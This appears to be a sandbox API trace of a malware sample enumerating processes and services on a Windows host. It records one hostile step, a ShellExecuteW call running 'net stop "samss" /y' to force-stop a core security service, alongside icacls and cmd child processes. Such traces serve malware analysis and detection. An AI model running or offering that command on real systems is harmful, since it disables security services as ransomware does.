	[0198.770] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0198.773] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0199.021] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x102, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0199.025] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0199.028] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0199.031] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0199.034] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0199.036] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0199.039] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0199.042] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0199.045] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0199.048] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0199.051] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x169c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0199.054] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0199.352] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0199.656] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0199.659] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0199.662] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0199.664] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0199.667] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 0
	[0199.669] CloseHandle (hObject=0x1218) returned 1
	[0199.669] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0xe6590
	[0199.710] EnumServicesStatusW (in: hSCManager=0xe6590, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 0
	[0199.711] VirtualAlloc (lpAddress=0x0, dwSize=0x169d, flAllocationType=0x1000, flProtect=0x40) returned 0x2760000
	[0199.712] EnumServicesStatusW (in: hSCManager=0xe6590, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2760000, cbBufSize=0x169d, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x2760000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 1
	[0199.714] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0202.575] Sleep (dwMilliseconds=0x96) 
	[0203.160] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0203.189] Sleep (dwMilliseconds=0xc350) 
	[0213.717] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x1880
	[0215.489] Process32FirstW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0215.492] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0215.495] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0216.159] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0216.163] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0216.166] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0216.168] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0216.172] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0216.175] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0216.178] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0216.181] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0216.184] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0216.187] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0216.191] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0216.194] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0216.197] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0216.657] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0216.660] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0216.663] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0216.666] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0216.669] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0216.672] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0216.675] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0216.677] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0216.680] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0216.685] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0216.687] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0216.690] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0216.693] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0216.696] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0217.238] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0217.241] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0217.244] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0217.247] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0217.250] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0217.253] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0217.256] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0217.259] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0217.263] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0217.266] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0217.269] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0217.272] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0217.850] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0217.853] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0217.856] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0217.859] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0217.862] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0217.865] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0217.868] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0217.871] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0217.874] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0217.877] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0217.880] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0217.883] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0218.256] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0218.259] Process32NextW (in: hSnapshot=0x1880, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
